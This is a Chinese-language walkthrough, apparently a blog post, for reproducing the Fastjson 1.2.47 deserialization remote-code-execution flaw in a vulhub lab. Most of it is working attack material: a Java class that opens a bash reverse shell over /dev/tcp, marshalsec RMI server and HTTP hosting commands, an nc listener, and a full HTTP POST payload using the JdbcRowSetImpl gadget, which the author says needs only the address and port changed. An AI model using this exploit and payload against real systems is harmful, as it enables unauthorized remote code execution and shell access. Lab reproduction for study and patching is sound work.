Fastjson 1.2.47 這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,所以才導致了這個漏洞,具體分析可以參考文章
https://www.freebuf.com/vuls/208339.html
前提條件(避免踩到一些坑點)
復現這個漏洞之前,最好先去復現Fastjson 1.2.24 的反序列化,因為2個漏洞復現方法很相似
1.必須是java 1.8 的版本 ,不然有些編譯了執行不了命令,java -version 查看版本
2. 所有用的工具和編譯后的包要在同一目錄
marshalsec-0.0.3-SNAPSHOT-all.jar
Exploit.java
Exploit.class
環境搭建
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
搭建完成訪問ip:8090 端口

復現參考
https://www.cnblogs.com/websecyw/p/11905014.html
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
1. 獲取exp
git clone https://github.com/CaijiOrz/fastjson-1.2.47-RCE
其實這個exp就是一個反彈shell的代碼
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
2. vim Exploit.java 修改成vpsIP和端口
3.javac Exploit.java 編譯成class文件

4. python -m SimpleHTTPServer 4444 開啟http服務
5. java -cp marshalsec-0.0.3-SNAPSHOT-all.j marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#Exploit" 9999

6.監聽 nc -lvnp 7777
7.發送POC,就會反彈會shell
我把整個數據包給寫上,用時直接修改下紅字的地址和端口就行了
POST / HTTP/1.1 Host: 目標ip User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Content-Length: 264 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://vpsIP:9999/Exploit", "autoCommit":true } }
8.成功反彈shell

